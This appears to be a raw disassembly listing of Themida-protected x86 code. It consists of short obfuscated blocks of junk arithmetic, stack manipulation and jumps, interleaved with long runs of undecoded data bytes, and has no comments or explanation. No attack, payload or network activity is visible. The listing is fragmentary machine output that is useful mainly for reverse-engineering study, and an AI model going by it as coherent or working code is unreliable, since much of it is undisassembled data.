		mov	eax, esp
		push	ebp
		mov	ebp, 45704C57h
		dec	ebp
		not	ebp
		neg	ebp
		push	eax
		mov	eax, 0BA8FB3ADh
		add	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		push	esi
		mov	esi, 28E03037h
		jmp	loc_572B93
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0B6h
		dd 81FFFF25h, 4C4h, 4EC8300h, 0FF785FE9h, 0E38953FFh, 1CD8E9h
		dd 40478F00h, 26F2E9h, 241C8900h, 8B2434FFh, 0C4832404h
		dd 60EA6804h, 3C890000h, 182BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5705B2:				; CODE XREF: Themida_:0056668Fj
		push	esi
		mov	esi, 50EF27FEh
		and	esi, 23462AE7h
		push	edx
		jmp	loc_56A118
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C483242Ch, 4C48104h, 0E9000000h,	0FFFFBF91h
		dd 0CE308DB8h, 6CFD0D52h, 48483E88h, 78440125h,	6F2D4067h
		dd 0E9FD5F26h, 0FFFFE997h, 1468E281h, 0C2814169h, 5E823C90h
		dd 0ADFAF281h, 0D0299200h, 8124148Bh, 4C4h, 8BC28900h
		dd 0C4812404h, 4, 0FFCD24E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570621:				; CODE XREF: Themida_:00565702j
		mov	esi, [esp]
		jmp	loc_56518E
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 7409B850h, 0C5BA0238h, 13A338Ch, 0BE5658C2h,	327A47EEh
		dd 4745C681h, 0EEC14D7Bh, 0BA524608h, 7A100F02h, 38DAC281h
		dd 0BE96B53h, 53FFFF66h, 0FF03F0E9h, 3CBE56FFh,	81565366h
		dd 0A73416E9h, 81F1290Ah, 0A73416C1h, 24348B0Ah, 0FF84D9E9h
		dd 729868FFh, 3C890000h, 7195BF24h, 0C781082Bh,	41B97422h
		dd 4CCFE781h, 0E7C12838h, 2E7C103h, 2E85C781h, 0BD551779h
		dd 0AA6A775h, 0FF1888E9h, 94EF81FFh, 1726764h, 0D4E951DFh
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706BB:				; CODE XREF: Themida_:0056343Cj
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56138F
; ---------------------------------------------------------------------------
		dd 1A25162Dh, 8801E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5706D6:				; CODE XREF: Themida_:005667E9j
		sub	ecx, 4F9E3067h
		pop	eax
		push	ecx
		jmp	loc_573CEE
; ---------------------------------------------------------------------------
		db 89h
		dd 405E0h, 0E8830000h, 74FF5004h, 8F580424h, 895C2404h
		dd 0C7682414h, 8900001Bh, 0B8502424h, 4, 4244401h, 68E95A58h
		dd 31000035h, 0DE895AD3h, 5B2434FFh, 0FF381CE9h, 0C8B66FFh
		dd 0CB64E924h, 0B050FFFFh, 58C38808h, 0D8284004h, 34FF402Ch
		dd 0EC815B24h, 4, 54241C89h, 0F17FE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57074A:				; CODE XREF: Themida_:00565CBFj
		add	esp, 4
		add	dword ptr [esp+4], 0D7A1134h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 0D7A1134h
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 6EFB0D9Fh
		shr	eax, 6
		push	esi
		jmp	loc_573C5C
; ---------------------------------------------------------------------------
		dw 31ADh
		dd 0E95556D8h, 0FFFF5733h, 159CB29h, 0EC381D3h,	0E933C945h
		dd 0FFFFB386h
; ---------------------------------------------------------------------------


loc_570790:				; CODE XREF: Themida_:0056A6B1j
		mov	[esp], ecx
		mov	ecx, 6207350h
		shl	ecx, 2
		push	esi
		push	edi
		jmp	loc_569773
; ---------------------------------------------------------------------------
		dw 31B2h
		dd 0FFAF36E9h, 2DF029FFh, 16C44B48h, 8124348Bh,	4C4h, 40423500h
		dd 0D335085Ch, 0E924194Dh, 936h
; ---------------------------------------------------------------------------


loc_5707C8:				; CODE XREF: Themida_:00562187j
		mov	ebp, ebx
		pop	ebx
		jmp	loc_563653
; ---------------------------------------------------------------------------


loc_5707D0:				; CODE XREF: Themida_:005626CAj
		add	ebx, edi
		push	7D17h
		mov	[esp], edx
		jmp	loc_575C33
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 241CD359h, 0FF27E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5707EE:				; CODE XREF: Themida_:0056ABC9j
		mov	eax, [esp]
		jmp	loc_5652AE
; ---------------------------------------------------------------------------
		dw 0DD00h
		dd 7E95E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5707FE:				; CODE XREF: Themida_:0056A22Bj
		push	edx
		mov	edx, 71FA76B9h
		shr	edx, 1
		shl	edx, 7
		neg	edx
		shl	edx, 5
		jmp	loc_574311
; ---------------------------------------------------------------------------
		db 66h
		dd 8F4DF281h, 3328E9h, 4EC8100h, 0E9000000h, 0FFFF4A90h
		dd 0CEBB5356h, 0BE364A31h, 364A31CEh, 1C8BDE31h, 4C48124h
		dd 29000000h, 5EF187CEh, 8108E9C1h, 0BB3B92C9h,	58E9814Bh
		dd 2D396D5Fh, 0D184F52h, 1B60AE2Dh, 17092D16h, 90E955CAh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------


loc_570867:				; CODE XREF: Themida_:005674B5j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_573939
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 44F78104h, 296196C9h, 0F7015FFEh, 0C9EF815Eh
		dd 81117F65h, 1DDA91F7h, 0FE6E999h, 0C181FFFFh,	85639AFh
		dd 26A5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5708A5:				; CODE XREF: Themida_:0056EE05j
		or	ebp, 4ACC1065h
		shl	ebp, 1
		push	edi
		mov	edi, 0AEBD1C77h
		jmp	loc_5656E4
; ---------------------------------------------------------------------------
		dd 875FF829h, 248B2404h, 0C896624h, 0B60F6624h,	9C5166C8h
		dd 0FEFE44E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5708D1:				; CODE XREF: Themida_:00560D13j
		push	edx
		jmp	loc_5694B2
; ---------------------------------------------------------------------------
		db 51h
		dd 0AB444DB9h, 95E9417Dh, 0FFFFFF38h, 83592434h, 23E904C4h
		dd 88FFFF4Bh, 0D5885BDAh, 4D6AE95Ah, 5651FFFFh,	4BEh, 5EF18900h
		dd 4D1EE9h, 4BB00h, 0DE010000h,	83241C8Bh, 0F0E904C4h
		dd 81FFFF00h, 4C7h, 243C8700h, 2859E9h,	243C8900h, 496997BFh
		dd 68C28123h, 0E9728171h, 0FFFFDD2Ah, 8EDC05Ah,	45E95266h
		dd 0F7FFFF68h, 0AB4AE9D0h, 0F331FFFFh, 0FFD135E9h, 81E589FFh
		dd 4C5h, 607FE900h, 8142FFFFh, 7AC123F2h, 71BD55C6h, 814F0F14h
		dd 9B0337E5h, 0CFF58120h, 81018B68h, 460C3ACDh,	70E95215h
		dd 81FFFFD9h, 1016BCC6h, 48C6815Ah, 0E95C6C20h,	0FFFF3992h
		dd 0F6BD5543h, 6823BA7Eh, 0
		dd 5D242C29h, 97E7C581h, 0EB092447h, 81242C8Bh,	4C4h, 0B2C38100h
		dd 89348384h, 241C8BD8h, 6804C483h, 332Ch, 55241489h, 314DE9h
		dd 0ACBF5700h, 0D162B70Ch, 70CDE9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5709E2:				; CODE XREF: Themida_:00569A8Dj
		push	781Eh
		mov	[esp], edi
		mov	edi, 0E8E7CCAEh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_5760ED
; ---------------------------------------------------------------------------
		db 0B0h, 0E9h, 0F6h
		dd 4D8F6D8h, 45DEE918h,	0E953FFFFh, 0FFFF7CF7h,	0E9240489h
		dd 2801h, 24048B66h, 4EC8350h, 0E9242489h, 0FFFFBEA1h
		dd 405E089h, 5000000h, 4, 0FF5796E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570A35:				; CODE XREF: Themida_:0056C3D7j
		push	edx
		not	dword ptr [esp]
		jmp	loc_560DCB
; ---------------------------------------------------------------------------
		dw 468h
		dd 0E9000000h, 0FFFF876Fh, 0E1895159h, 0D85E9h
		db 0
; ---------------------------------------------------------------------------


loc_570A51:				; CODE XREF: Themida_:0057052Fj
		push	18E8h
		mov	[esp], eax
		push	ebp
		push	ebx
		mov	ebx, 1CD56C50h
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 0D79560D1h
		mov	eax, ebp
		pop	ebp
		add	[esp+4], eax
		pop	eax
		jmp	loc_563875
; ---------------------------------------------------------------------------


loc_570A76:				; CODE XREF: Themida_:00567904j
		add	eax, 14E6489Bh
		jmp	loc_56CE41
; ---------------------------------------------------------------------------
		dd 0A319C681h, 0EB814271h, 3FF65054h, 0E9E9F301h, 0FFFFFF23h
		dd 0D2E92434h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570A9B:				; CODE XREF: Themida_:00575A31j
		pop	edx
		or	eax, eax
		jnz	loc_56959F
		push	1
		push	dword ptr [esp]
		jmp	loc_56DC47
; ---------------------------------------------------------------------------
		db 66h,	68h, 0E3h
		dd 1489660Ah, 74FF6624h, 8B660224h, 0CB682414h,	0E9000012h
		dd 0FFFF0040h, 0BAEBC681h, 0F289D418h, 8324348Bh, 0B95104C4h
		dd 33C9450Eh, 0FFFC9BE9h, 4C483FFh, 4244431h, 2434FF58h
		dd 0FF2142E9h, 5AD629FFh, 1D9ED81h, 0F50161D3h,	1D9C581h
		dd 875E61D3h, 248B242Ch, 0A30F6624h, 0E99C2404h, 0FFFF2E8Ch
; ---------------------------------------------------------------------------


loc_570B18:				; CODE XREF: Themida_:0056B245j
		push	18E9h
		mov	[esp], edi
		push	3DD9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		jmp	loc_56C9C0
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 34FF0000h, 24048B24h, 0FF2555E9h, 4EC83FFh
		dd 0FF2B3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570B4D:				; CODE XREF: Themida_:00569BC2j
		mov	[esp], ebp
		mov	ebp, 1B684591h
		jmp	loc_5686C6
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFF22C4h
; ---------------------------------------------------------------------------


loc_570B60:				; CODE XREF: Themida_:005679F6j
		mov	cl, 0EAh
		add	cl, dh
		jmp	loc_568C19
; ---------------------------------------------------------------------------
		db 0ACh, 51h, 53h
		dd 0C780B0B7h, 8BE780B5h, 6CB65251h, 0F128DCB1h, 80E9D05Ah
		dd 0C1FE89E9h, 8001F180h, 0CF2805EFh, 8B05C780h, 0C481240Ch
		dd 4, 2B5AE9h
		db 0
; ---------------------------------------------------------------------------


loc_570B9D:				; CODE XREF: Themida_:0056AE76j
		mov	edx, 138025A6h
		push	ebx
		mov	ebx, 5EF955F2h
		sub	edx, ebx
		pop	ebx
		add	edx, 5AB500DDh
		push	edi
		jmp	loc_5612AA
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 242C8924h, 0FF1D59E9h, 81E789FFh,	4C7h, 4EF8300h
		dd 5C243C87h, 89240C89h, 1AC3E9E1h, 595A0000h, 0B252E800h
		dd 28D02C02h, 80BE9D0h,	2489FFFFh, 0FD04E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570BF6:				; CODE XREF: Themida_:0056C559j
		mov	[esp], eax
		push	ebx
		mov	ebx, 64A0FA8h
		sub	[esp+4], ebx
		pop	ebx
		pop	ecx
		jmp	loc_56C83F
; ---------------------------------------------------------------------------
		dw 1C31h
		dd 7E29E924h, 66ACFFFFh, 0AE47E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_570C1A:				; CODE XREF: Themida_:0056A607j
		pop	edi
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_572ACB
; ---------------------------------------------------------------------------
		dw 31BAh
		dd 31B7EFB5h, 0B19FE9D5h, 0C8BFFFFh, 4C48324h, 0E979EC80h
		dd 0FFFF9C79h
; ---------------------------------------------------------------------------


loc_570C40:				; CODE XREF: Themida_:0056E999j
		push	edx
		mov	dh, 50h
		jmp	loc_5651A2
; ---------------------------------------------------------------------------


loc_570C48:				; CODE XREF: Themida_:0056E346j
		mov	ecx, edi
		pop	edi
		push	ecx
		jmp	loc_57400C
; ---------------------------------------------------------------------------


loc_570C51:				; CODE XREF: Themida_:00560FF5j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		jmp	loc_56FD14
; ---------------------------------------------------------------------------
		align 4
		dd 9AC580F5h, 0FF92D3E9h, 69E781FFh, 817AD257h,	9F6594F7h
		dd 0E9FB211Eh, 0FFFFC705h, 5058C701h, 4B8h, 8BC70100h
		dd 0C4812404h, 4, 0D1168h, 243C8900h, 42474FFh,	24048F5Fh
		dd 6824248Bh, 6C10h, 68240C89h,	28Ch, 0E9241C89h, 0FFFF6EA6h
		dd 0AFE9D701h, 81FFFF5Ch, 4C3h,	4EB8300h, 0E9241C87h, 0FFFF149Ah
		dd 1BF57h, 0FD010000h, 0BA52515Fh, 30131657h, 295AD189h
		dd 0EF0159CDh, 83242C8Bh, 0C78304C4h, 243C8704h, 0E924248Bh
		dd 0FFFEFA05h, 4BA52h, 0D3010000h, 4EC835Ah, 0BD242C89h
		dd 4440DBEh, 44CDE956h,	895CFFFFh, 74FF243Ch, 8F5F0424h
		dd 895C2404h, 8956241Ch, 1E953E6h, 68FFFFB9h, 1E21h, 0FF241C89h
		dd 48B2434h, 4C48324h, 389668h,	24048900h, 0FF7C1DE9h
		dd 5EF229FFh, 5D06D005h, 2DD00140h, 405D06D0h, 8324148Bh
		dd 0F6E904C4h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_570D7B:				; CODE XREF: Themida_:0056A6CCj
		mov	ebp, [esp]
		jmp	loc_5757AE
; ---------------------------------------------------------------------------


loc_570D83:				; CODE XREF: Themida_:0056BE8Cj
		add	esi, ebx
		add	esi, 39122425h
		pop	ebx
		add	esi, eax
		sub	esi, 6AA43611h
		pop	eax
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_56BF14
; ---------------------------------------------------------------------------
		db 0B9h
		dd 66F84573h, 8108E1C1h, 825696F1h, 59CE31ADh, 0E95EF701h
		dd 0FFFFDD52h, 62A59BAh, 13F2812Eh, 2934E50Eh, 0D3295AD3h
		dd 0FCB85052h, 0BA1A3E27h, 0A4FC4Eh, 158C201h, 0C3815AD3h
		dd 24397E9Bh, 5724148Bh, 0E953E789h, 0FFFF7DE3h
; ---------------------------------------------------------------------------


loc_570DEC:				; CODE XREF: Themida_:00564129j
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56ACBB
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 4C18100h, 83000000h, 0C8704E9h, 24248B24h, 0B8240489h
		dd 4, 34FFC629h, 54555824h, 0D7B8E95Dh,	0C280FFFFh, 0FFD08809h
		dd 815A2434h, 4C4h, 66C20000h, 0B747E958h, 0C483FFFFh
		dd 1C875804h, 0F8C7E924h, 0F189FFFEh, 5CBB535Eh, 50111023h
		dd 646566B8h, 25D0F73Ch, 2450EDCh, 0FFF863E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E69:				; CODE XREF: Themida_:0056C6C1j
		not	eax
		push	14FAh
		jmp	loc_5721C5
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 9Fh
		dd 0E97A8A11h, 0FFFF4CE2h, 4BDh, 5DEB0100h, 31241C33h
		dd 1C33241Ch, 24248B24h, 0FEF87CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570E99:				; CODE XREF: Themida_:00574BBCj
		shr	ebp, 4
		push	edx
		mov	edx, 56E02C91h
		shr	edx, 4
		xor	edx, 6833588Eh
		add	edx, 797140CEh
		jmp	loc_5747F5
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0E2F5E955h, 0E5C1FFFFh, 5062E907h, 0C7810000h, 0A624C91h
		dd 746852FDh, 8B182805h, 0E9552414h, 0FFFFB85Dh, 10F7405h
		dd 0B7EA816Eh, 17AAB71h, 2659E9C2h, 0EC83FFFFh,	4CCE904h
		dd 15D0000h, 0C58359CDh, 0CE46804h, 2C890000h, 2474FF24h
		dd 242C8B04h, 51E38953h, 4B9h, 0C1C38100h, 1058938h, 0C1EB81CBh
		dd 59058938h, 4BE5657h,	56000000h, 81243C8Bh, 4C4h, 0E9555E00h
		dd 0FFFF9E6Fh, 34ED815Fh, 5503CF00h, 339FBD55h,	2DE9117Ah
		dd 5DFFFFA5h, 0FF89F0E9h, 0BE5650FFh, 9D423BEh,	2D5EF089h
		dd 521A2CEFh, 0FBE9D8F7h, 0E9FFFF55h, 0FFFEF7A1h, 42474FFh
		dd 24048F5Fh, 3190E9h, 104ABD00h, 0EE292236h, 57C6815Dh
		dd 817E9B3Eh, 9CE6FFC6h, 5EF501D4h, 31242C33h, 0C5E9242Ch
		dd 53FFFFE9h, 8904EC83h, 0C5BD242Ch, 0BB3E6E4Ah, 9E02B7AEh
		dd 0FFE7D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_570FB9:				; CODE XREF: Themida_:0056A85Bj
		shl	ecx, 5
		jmp	loc_56B65F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 42h
		dd 0E91C160Eh, 0FFFF311Dh, 207F83h, 7ED6840Fh, 5253FFFFh
		dd 0F912A1BAh, 0E9D2F721h, 0FFFFF207h
; ---------------------------------------------------------------------------


loc_570FE4:				; CODE XREF: Themida_:00562214j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		sub	dword ptr [esp], 0FFFFFFFFh
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_573866
; ---------------------------------------------------------------------------


loc_570FFD:				; CODE XREF: Themida_:005641AFj
		add	bl, ch
		pop	ecx
		add	bl, al
		sub	bl, 0BBh
		add	bl, 40h
		jmp	loc_560CE8
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 213EE9h, 0E9C7B400h,	0FFFFC0A4h, 595AD629h, 4EE81h
		dd 34870000h, 24248B24h, 0FFCE46E9h, 5CF181FFh,	8124811Dh
		dd 0AB67ACC1h, 0E7BE5661h, 314ED13Eh, 0CA295EF1h, 0E9240C8Bh
		dd 37C4h, 81241C89h, 4ECh, 24348900h, 2B234168h, 0FFE95E4Ah
		dd 0E9FFFEF6h, 0FFFEF6A9h, 0C1FFC283h, 0CA8107E2h, 9B72D66h
		dd 0FF8B7AE9h, 0FE0DB2FFh, 0D784E9C2h, 0D5F7FFFFh, 240CFF55h
		dd 15F0E9h, 0D7F18100h,	0BF45BB2Eh, 4C6F7C3Ch, 0C159CF31h
		dd 0E7C108E7h, 81DFF703h, 238BA5EFh, 2E94746h, 0F7FFFF12h
		dd 0D1D2F7DAh, 5DCA81E2h, 816FFF1Ch, 0BCF62C2h,	0DBF3E987h
		dd 0C331FFFFh, 4EC81h, 0C890000h, 5CDBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5710DA:				; CODE XREF: Themida_:0056E661j
		push	ecx
		add	dword ptr [esp], 160A0CE9h
		pop	ebp
		jmp	loc_56F342
; ---------------------------------------------------------------------------
		dd 6824048Fh, 7DEEh, 0FF20FAE9h, 0C4835AFFh, 5041E904h
		dd 3540FFFFh, 31D6B67Ah, 1E5E9h, 4C48300h, 240C8756h, 0D3F7D987h
		dd 6968D987h, 0E900001Ah, 303Dh, 30BAEF80h, 0C3305BF8h
		dd 0FFC0B60Fh, 34FF8734h, 89565824h, 0E78957E6h, 0FFA9C7E9h
		dd 0E78158FFh, 290A2475h, 1EC7814Fh, 893D0D0Bh,	0C6815FFDh
		dd 279846DFh, 8BE9EE29h, 8BFFFF97h, 0C483240Ch,	0FFCE0104h
		dd 0C8B2434h, 4C48324h,	4C481h,	34870000h, 24248B24h, 24043166h
		dd 0F593E99Ch, 88BDFFFEh, 0E9152E22h, 0FFFF2A18h, 1C8B5953h
		dd 4C48324h, 6B8268h, 0A5A5E900h, 148BFFFFh, 4C48124h
		dd 0E9000000h, 39FEh, 0E9240C89h, 9F6h,	0A6717DBEh, 81C68161h
		dd 8127755Ch, 0CD7FDCE6h, 0ABC6813Dh, 29F96D31h, 0C7815EF7h
		dd 0C0014FA6h, 0FF6F84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5711D9:				; CODE XREF: Themida_:0057526Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_574BE3
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 58F5F6F9h, 0B9E9DA29h, 1FFFFD3h, 170905C8h, 0AE0555CAh
		dd 55161B60h, 184F52BDh, 5DE8010Dh, 57240C8Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 53055C24h, 13CB752h, 52532DD8h
		dd 0B9513CB7h, 237262EFh, 0FF6A32E9h, 0BBF781FFh, 0E904756Bh
		dd 4E01h
; ---------------------------------------------------------------------------


loc_571244:				; CODE XREF: Themida_:0056072Ej
		add	esp, 4
		or	eax, eax
		jz	loc_56E958
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		push	eax
		push	ebx
		jmp	loc_56608E
; ---------------------------------------------------------------------------


loc_571263:				; CODE XREF: Themida_:005638DAj
		add	ebx, esi
		pop	esi
		sub	edx, ebx
		pop	ebx
		push	edx
		mov	edx, 67ED5302h
		sub	ebx, edx
		pop	edx
		add	ebx, edx
		jmp	loc_56CF56
; ---------------------------------------------------------------------------
		db 0B0h, 58h, 0E9h
		dd 3316h, 0EFE9525Bh, 88FFFFF0h, 898BE9DAh, 0D2F7FFFFh
		dd 0FF0B76E9h, 6EF368FFh, 38E90000h
		db 93h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57129F:				; CODE XREF: Themida_:005755A5j
		pop	edi
		add	esi, 41A06B6Dh
		push	edx
		mov	edx, 6E2F6FECh
		jmp	loc_564CBF
; ---------------------------------------------------------------------------


loc_5712B1:				; CODE XREF: Themida_:00566FD8j
		sub	esp, 4
		jmp	loc_56B129
; ---------------------------------------------------------------------------
		db 28h,	0D0h, 0E9h
		dd 0FFFF1BCEh, 0E9240C89h, 0FFFEF44Dh
; ---------------------------------------------------------------------------


loc_5712C8:				; CODE XREF: Themida_:00565BFEj
		push	ebp
		mov	ebp, 1CB834CDh
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		not	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, 0B4AC0h
		sub	edx, edi
		push	dword ptr [esp]
		jmp	loc_5679CC
; ---------------------------------------------------------------------------
		dw 0C389h
		dd 81535258h, 6BA12404h, 815A0594h, 946BA1EAh, 2F4CE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_571306:				; CODE XREF: Themida_:0056D639j
		add	esp, 4
		jmp	loc_566D4B
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 8DE92404h, 5CFFFFACh, 54535166h, 4C3815Bh
		dd 81000000h, 4EBh, 241C8700h, 0FF5013E9h, 4B8FFh, 0C6010000h
		dd 0FFB1CFE9h, 835755FFh, 2C8904ECh, 0CBBB5324h, 890A2349h
		dd 0E5815BDDh, 5A311C33h, 8BE3E956h, 0E4BBFFFFh, 0E94B9924h
		dd 0FFFFBE1Ch, 4244C01h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		sub	dword ptr [esp], 5C737FA4h
		sub	[esp], eax
		push	edi
		mov	edi, 5C737FA4h
		jmp	loc_563707
; ---------------------------------------------------------------------------


loc_57139E:				; CODE XREF: Themida_:005752B9j
		neg	eax
		or	eax, 5C69619Ah
		sub	eax, 0FFFFFFFFh
		add	eax, 0EAFC82E5h
		push	60FCh
		mov	[esp], eax
		push	ecx
		mov	ecx, 7FD23F1Dh
		xor	[esp+4], ecx
		jmp	loc_567B7C
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0C769E924h, 0E95AFFFFh, 0FFFF6208h, 405h, 4948E900h
		dd 1432FFFFh, 24143024h, 6B316866h, 0FF5BFDE9h,	85E95CFFh
		dd 0FF000007h, 575A2434h, 0C781E789h, 4, 8704C783h, 248B243Ch
		dd 40C36824h, 0C890000h, 2474FF24h, 48F5904h, 33D2E924h
		dd 8B66FFFFh, 3AE9240Ch
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571427:				; CODE XREF: Themida_:0056D0BBj
		mov	edi, ebx
		pop	ebx
		pop	esi
		push	ebp
		jmp	loc_56D266
; ---------------------------------------------------------------------------
		db 0F7h, 0D6h, 87h
		dd 314468F5h, 1C890000h, 739DBB24h, 0E3D127EAh,	5106E3C1h
		dd 29197EB9h, 6E1C159h,	1C53E9h
		db 0
; ---------------------------------------------------------------------------


loc_571455:				; CODE XREF: Themida_:0057201Aj
		mov	eax, esp
		push	68B0h
		mov	[esp], ecx
		mov	ecx, 63647F84h
		sub	ecx, 0FFFFFFFFh
		dec	ecx
		add	ecx, 0B0E39A7h
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 6D553570h
		not	edi
		shr	edi, 4
		push	eax
		mov	eax, 60E6513Eh
		or	edi, eax
		pop	eax
		jmp	loc_574639
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 0C733D230h, 295FF801h, 506858C6h, 89000056h,	4C68240Ch
		dd 89000048h, 1CE92404h, 8700001Dh, 248B2414h, 44A8E924h
		dd 48B0000h, 4C48324h, 8B243487h, 348B2424h, 0FC37E924h
		dd 0C483FFFFh, 0E279E904h, 0C781FFFFh, 4, 5C243C87h, 4EC81h
		dd 0F7E90000h, 81FFFF34h, 4C5h,	4ED8100h, 0E9000000h, 0FFFF73FFh
		dd 8BDF015Bh, 6CE9241Ch, 66FFFF9Eh, 81240C8Bh, 4ECh, 241C8900h
		dd 0EC81E389h, 4, 0E9240489h, 0FFFFDFB4h, 0F759CE09h, 6F681D6h
		dd 5800089h, 7D31444Bh,	4B2DF001h, 8B7D3144h, 0C4812434h
		dd 4, 5C240487h, 0FF2434FFh, 0C8B2434h,	6ABE6824h, 14890000h
		dd 81E28924h, 4C2h, 4C28100h, 87000000h, 565C2414h, 0B850E689h
		dd 9FB54DFh, 0E9FFC083h, 0FFFF88C3h
; ---------------------------------------------------------------------------


loc_571580:				; CODE XREF: Themida_:0056D340j
		mov	ecx, 1E82511Bh
		jmp	loc_56A770
; ---------------------------------------------------------------------------
		dw 86E9h
		dd 5BFFFEF1h, 0FFEC1BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571595:				; CODE XREF: Themida_:00568B51j
		xor	ecx, [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_57029A
; ---------------------------------------------------------------------------
		db 0BDh, 1, 0
		dd 0E9210000h, 8B2434FFh, 3FE9242Ch, 8BFFFF5Ch,	0C4812404h
		dd 4, 2C281h, 14870000h, 85665C24h, 42E99CC8h, 81FFFEF1h
		dd 0F35CE5C6h, 0E9DE0143h, 0FFFFA12Fh, 0C280C200h, 22EA8032h
		dd 42B05066h, 0A0E9C228h, 5AFFFFCFh, 0FFD88AE9h, 0F38158FFh
		dd 9207028h, 0FFC4DDE9h, 6BF781FFh, 816F8305h, 0F13AEEE7h
		dd 3474E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_571616:				; CODE XREF: Themida_:00561ECBj
		sub	esp, 4
		mov	[esp], edx
		sub	dword ptr [esp], 2BBC563Ch
		pop	edi
		push	ebx
		jmp	loc_573EAC
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 8B240433h, 3CD22424h, 0D6E99C24h, 68FFFEF0h,	61Ah, 0B9240C89h
		dd 5CDA2BA4h, 0D9F7D9F7h, 8D6BF181h, 47E95CD1h,	0FFFFFEF7h
		dd 59042474h, 5C24048Fh, 285CE9h, 3C335D00h, 243C3124h
		dd 8B243C33h, 0F662424h, 9C2404B3h, 0FEF094E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_571681:				; CODE XREF: Themida_:0056CB94j
		push	esi
		push	1FA8620Eh
		jmp	loc_56743B
; ---------------------------------------------------------------------------
		dd 0E9241C87h, 0FFFF0163h, 0D7685652h, 0E92FB107h, 0FFFF75A9h
		dd 0E924048Fh, 0FFFF6E97h
; ---------------------------------------------------------------------------


loc_5716A8:				; CODE XREF: Themida_:00561C7Ej
		sub	[edx+30h], esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		popa
		popf
		jmp	locret_569B0B
; ---------------------------------------------------------------------------
		dd 0BB53E089h, 4, 55BD801h, 4, 0E48E9h,	419BA00h, 0CA810A33h
		dd 36EE4152h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_575709
; ---------------------------------------------------------------------------
		db 1, 0CAh, 59h
		dd 5E88BD55h, 0EC83046Fh, 243C8904h, 0C30A3768h, 0FD015FF8h
